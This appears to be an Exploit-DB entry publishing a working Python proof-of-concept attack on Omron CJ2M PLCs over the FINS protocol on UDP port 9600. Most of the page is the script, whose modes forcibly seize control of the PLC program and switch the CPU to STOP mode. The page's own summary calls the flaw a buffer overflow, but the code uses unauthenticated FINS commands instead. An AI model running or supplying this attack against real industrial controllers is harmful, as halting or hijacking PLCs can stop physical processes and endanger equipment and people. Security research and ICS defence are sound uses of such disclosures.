Omron PLC 1.0.0 - Denial of Service (PoC)

vendor:
PLC
by:
n0b0dy
7.5
CVSS
HIGH
Denial of Service
412
CWE
Product Name: PLC
Affected Version From: 1.0.0
Affected Version To: 1.0.0
Patch Exists: YES
Related CWE: N/A
CPE: a:omron:plc:1.0.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: PLC f/w rev.: CJ2M (v2.01)
2019
Omron PLC 1.0.0 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Omron PLC 1.0.0, which could allow an attacker to cause a denial of service condition. An attacker can send a specially crafted packet to the target port 9600, resulting in a denial of service condition.
Mitigation:

Ensure that the Omron PLC is running the latest version of the firmware and that all security patches are applied.
Source
Exploit-DB raw data:

# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC)                                          
# Google Dork: n/a                                                                                    
# Date: 2019-12-06                                                                                    
# Exploit Author: n0b0dy                                                                              
# Vendor Homepage: https://automation.omron.com, ia.omron.com                                         
# Software Link: n/a                                                                                  
# Version: 1.0.0                                                                                      
# Tested on: PLC f/w rev.: CJ2M (v2.01)                                                               
# CWE-412 : Unrestricted Externally Accessible Lock                                                   
# CVE : n/a    

#!usr/bin/python

######################################################################################################
#                                                                                                     #
#                                     `-:+oyhdmmNNNNNNNNmdhyso/:.                                     #
#                                -/shmNmhyo+/:-..`````..--:/oshdNNdyo:.                               #
#                           `:ohNmho/-`                          .:+ydNmy+.                           #
#                        .+hNms/.                                     `:ohNms:`                       #
#                     .+dNh+.                                             `/ymNy:                     #
#                   :yNd+.                                                   `/yNmo.                  #
#                `/dNy-`                                                        .+mNy-                #
#               +mmo.                                                             `/dNy-              #
#             :dNo`                      ``........--.......```                     `/dNs.            #
#           .yNy.         .-        ``....```....``..``....```...``        `-`        `+Nm/           #
#          /mm:       ./ymy.     `...``  `..`  ``  .`  `` `..`   `...`      +mho:`      .yMh.         #
#        `sNy.   `.`/hNMNo`    `..`    `.`    .`   .`   ``   `..    `...`    -dMNmo...   `+Nm:        #
#       `yNo`  -yy-sMMMh-    ......```.`     .`    .`    ``    .-...`` `..`   `+NMMm:+h+`  :mN/       #
#      `hN/   +Nm.sMMh/:   `..     `.....```..` `//+yy+.``.``...`..`     `..   ./oNMm-oMh.  -dN+      #
#     `hN+  `/MMo:Nh:/h- `..`      ..     `..```oMy.:NMd```.      ..       `.`  ys:omh.NMh`  .mM/     #
#     yM+ `o-hMN.:+sdm/ `-.       ..       .`   ./-./NNo   .`      ..       `.` .hmy+/`sMM-o- -mN:    #
#    +My .dd`mMy/hNmo. `-`````   `.       `-       :ho.    `.       ..    ````.. `/hNmo/NM//N/ :Mm`   #
#   .mm. sMd`mMmNd+/` `-`    ``..-.```    ..       +.       .`    ``.-...``    ..  :/yNNNM/:MN` sMs   #
#   yM+ `mMm`mMm+-ss `-`        ..```.....-....```-o+.```...-.....```.-`        .` -h/:yMM/+MM/ .mN-  #
#  .Nm` `NMN`yo/yNd. ..         -`       `-```````yNm-```````.       `-`        `.  oNd++h:sMM+  oMy  #
#  +Mo `.NMM.:hNMd. `-`        `.        .-       `:-       `-        ..         .` `oNMmo`yMM+. .NN` #
#  hN- y:hMMoNMmo.  ..         .`        ..        .`        -        `-         `.   /hMMydMM-h. dM/ #
# .mm`-No-NMMMy-o:  ..         .`        ..      .://-` `    -`       `-`         -   y-+mMMMy.Ns sMs #
# :Nd :Mm.oMMo.sN.  ..`````````-`````````..`./s` :smds: :s:``-`````````-.`````````-`  ym--NMm.sMh +Mh #
# +Mh -NMy`hd-hMd`  ..`````````-```````.-/+smMy   -my`  `dNho/.````````-``````````-   /Mm/+N:-NMs /Mh #
# /Nh  hMM/-/hMM/   ..         .` `+yhdmmNMMMM.   .so`   yMMMNmhyso+/.`-`        `-   `mMN/+.dMM- /Mh #
# -Nd` -NMm-+MMh.   `.         .` oMMMMMMMMMMN`   `hy    yMMMMMMMMMMMd.-         `.   `/MMd`yMMy  oMy #
# `mN.`.oNMhyMN-o/   -`        `.`mMMMMMMMMMMM-   -NN.  `dMMMMMMMMMMMM/.         .`  `y`hMNoMMh.- yMo #
#  yM:.h./mMMMs dm`  `.         .+MMMMMMMMMMMMo   /MM/  :NMMMMMMMMMMMMs`        `.   oN--NMMNy.+o`mM- #
#  /My`dd/-yNM:.NM+   ..      ``.hMMMMMMMMMMMMN-  oMMo `hMMMMMMMMMMMMMh.`      `.`  `mMo`dMm/-yN/:Mm` #
#  `mN./MMh-/d/+MMs    .` ``````.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.````` `.`   -NMd`ds-omMh`hMo  #
#   +Ms oNMNo--sMMh`-   ..`     oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN-    `..`  `-:MMN.:/dMMd.:Nm.  #
#   `hN: /NMMm/+MMm`h+   ..     mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo    `.`  -h-oMMd-yMMMy.`dM/   #
#    -Nm. +yNMMdNMN-/Ms`  `.`  -MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh   ..   :mh`hMMdNMNdo- sMy    #
#     /Nh`:y+odNMMMo`mMy    ..`/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm``.`   :NM/.NMMMmy+os`oMd.    #
#      +Mh`+Nh//odNm`oMM+    `.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.`    .mMN`oNmy+/smh`+Mm.     #
#       +Nh./mMNho++-.mMN/-/`  hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- `-:.dMMo`+++ymMNs.oNd-      #
#        /Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:`sMh.       #
#         -dN+``/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs`        #
#          `yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.`oNm/          #
#            :mNo`:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy.           #
#             `+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh-             #
#               `oNmo.`.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:``/hNd:               #
#                 `+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh:                 #
#                    :yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo.                   #
#                      `+hNds:``...`/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: `....`-ohNms:                      #
#                         `/ymNds/.`sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+  `:ohNNdo-                         #
#                             ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:`                            #
#                                 `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:.                                 #
#                                        `.://+osyyyyyyso+/:-.                                        #
#                                                                                                     #
#                                                                                                     #
# Exploit Title: Omron PLC: Denial-of-Service as a Feature                                            #
# Google Dork: n/a                                                                                    #
# Date: 2019.12.06                                                                                    #
# Exploit Author: n0b0dy                                                                              #
# Vendor Homepage: https://automation.omron.com, ia.omron.com                                         #
# Software Link: n/a                                                                                  #
# Version: 1.0.0                                                                                      #
# Tested on: PLC f/w rev.: CJ2M (v2.01)                                                               #
# CWE-412 : Unrestricted Externally Accessible Lock                                                   #
# CVE : n/a                                                                                           #
#                                                                                                     #
#######################################################################################################
import sys, signal, socket, time, binascii

nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname'

if len(sys.argv) < 2:
	print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}"
	print "--pwn	Hijack control of PLC program."
	print "--stop	Stop PLC CPU."

else:
	ip = sys.argv[2]

	try:
		port = sys.argv[3]
	except:
		port = 9600

	def ip_validate(ip):
		a = ip.split('.')
		if len(a) != 4:
			return False
		for x in a:
			if not x.isdigit():
				return False
			i = int(x)
			if i < 0 or i > 255:
				return False
		return True

	#fins header
	icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req
	rsv = '\x00' #reserved
	gct = '\x02' #gateway count
	dna = '\x00' #dest net addr
	idnn = ip[-1:] #dest node no (last digit of target ip)
	dnn_i = '0' + idnn
	dnn = binascii.a2b_hex(dnn_i)
	dua = '\x00' #dest unit addr
	sna = '\x00' #source net addr
	isnn = nic[-1:] #source node no (last digit of own ip)
	snn_i = '0' + isnn
	snn = binascii.a2b_hex(snn_i)
	sua = '\x00' #source unit addr
	sid = '\x7a' #service ID
	fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid

	#FINS command acceptance code
	fins_ok = '\x00'
	#Verify PLC type
	CmdMRst1 = binascii.a2b_hex("05")
	CmdSRst1 = binascii.a2b_hex("01")
	Cmdst1 =\
		fins_hdr + CmdMRst1 + CmdSRst1 + '\x00'
	print "Probing PLC... " + '\t'
	s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	s1.sendto(Cmdst1, (ip, port))
	print "Finished." + '\r\n'
	s1fins_resp = s1.recvfrom(1024)
	s1fins_resp_b = bytes(s1fins_resp[0])
	if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok:
		print "FINS target is exploitable: "
		print s1fins_resp_b[14:39]
	else:
		print "FINS target not exploitable."
		print "FINS response from target: ", s1fins_resp

	if sys.argv[1] == "--pwn":

		#access right forced acquire
		PgmNo = '\xff'
		CmdMRst2 = binascii.a2b_hex("0c")
		CmdSRst2 = binascii.a2b_hex("02")
		Cmdst2 =\
			fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo
		reqdly = 1
		persist = 1
		pwnage = 0
		print "Obtaining control of PLC program..." + '\r\n'
		while persist == 1:
			try:
				s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
				time.sleep(reqdly)
				s2.sendto(Cmdst2, (ip, port))
				s2fins_resp = s2.recvfrom(1024)
				s2fins_resp_b = bytes(s2fins_resp[0])
				if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok:
					pwnage += 1
					pwntime = str(pwnage)
					sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.")
					sys.stdout.flush()
				else:
					print "Attack unsuccessful. ", '\r\n'
					print "FINS error code: ", s2fins_resp
			except socket.error as e:
				print socket.error
				s2.close()
			except KeyboardInterrupt:
				persist = 0
				print '\r', " Attack interrupted by user."
				s2.close()

	elif sys.argv[1] == "--stop":
		#change OP Mode
		CmdMRst3 = binascii.a2b_hex("04")
		CmdSRst3 = binascii.a2b_hex("02")
		Cmdst3 =\
			fins_hdr + CmdMRst3 + CmdSRst3
		print "Stopping PLC (just for fun)... " + '\t'
		s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		s3.sendto(Cmdst3, (ip, port))
		print "Finished. "
		s3fins_resp = s3.recvfrom(1024)
		s3fins_resp_b = bytes(s3fins_resp[0])
		if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok:
			print "PLC CPU STOP mode confirmed. "
		else:
			print "Attack unsuccessful. ", '\r\n'
			print "FINS response from target: ", s3fins_resp